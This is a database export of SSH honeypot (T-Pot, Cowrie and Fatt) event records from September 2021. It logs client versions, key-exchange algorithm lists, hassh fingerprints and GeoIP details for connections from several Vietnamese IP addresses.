22233	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:04.028339+03	2021-09-20 14:15:04.666612+03	{"_id": "VgbjAnwBvYTbRNuEUQZO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "76c7f33eac55", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:04.028339Z", "@timestamp": "2021-09-20T11:07:04.028Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22224	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:03.338859+03	2021-09-20 14:15:04.654612+03	{"_id": "KAbjAnwBvYTbRNuEUQZE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "653d081ab785", "@version": "1", "timestamp": "2021-09-20T11:07:03.338859Z", "@timestamp": "2021-09-20T11:07:03.338Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22225	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:03.817168+03	2021-09-20 14:15:04.655613+03	{"_id": "KQbjAnwBvYTbRNuEUQZE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f5d5df5e4141", "@version": "1", "timestamp": "2021-09-20T11:07:03.817168Z", "@timestamp": "2021-09-20T11:07:03.817Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22226	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:03.081703+03	2021-09-20 14:15:04.657613+03	{"_id": "TwbjAnwBvYTbRNuEUQZO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38094, "timestamp": "2021-09-20T11:07:03.081703", "@timestamp": "2021-09-20T11:07:03.081Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22227	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:03.541625+03	2021-09-20 14:15:04.658613+03	{"_id": "UAbjAnwBvYTbRNuEUQZO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40148, "timestamp": "2021-09-20T11:07:03.541625", "@timestamp": "2021-09-20T11:07:03.541Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22228	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:03.816411+03	2021-09-20 14:15:04.660613+03	{"_id": "UQbjAnwBvYTbRNuEUQZO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40148, "dest_port": 22, "timestamp": "2021-09-20T11:07:03.816411", "@timestamp": "2021-09-20T11:07:03.816Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22229	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:03.378952+03	2021-09-20 14:15:04.661612+03	{"_id": "UgbjAnwBvYTbRNuEUQZO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "65df2bdbb1cb", "@version": "1", "timestamp": "2021-09-20T11:07:03.378952Z", "@timestamp": "2021-09-20T11:07:03.378Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22230	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:03.540618+03	2021-09-20 14:15:04.662612+03	{"_id": "UwbjAnwBvYTbRNuEUQZO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f5d5df5e4141", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:03.540618Z", "@timestamp": "2021-09-20T11:07:03.540Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22231	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:03.781089+03	2021-09-20 14:15:04.664612+03	{"_id": "VAbjAnwBvYTbRNuEUQZO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4d1226e02b74", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:03.781089Z", "@timestamp": "2021-09-20T11:07:03.781Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22232	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:03.974683+03	2021-09-20 14:15:04.665613+03	{"_id": "VQbjAnwBvYTbRNuEUQZO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9d3b02d91fa6", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:03.974683Z", "@timestamp": "2021-09-20T11:07:03.974Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
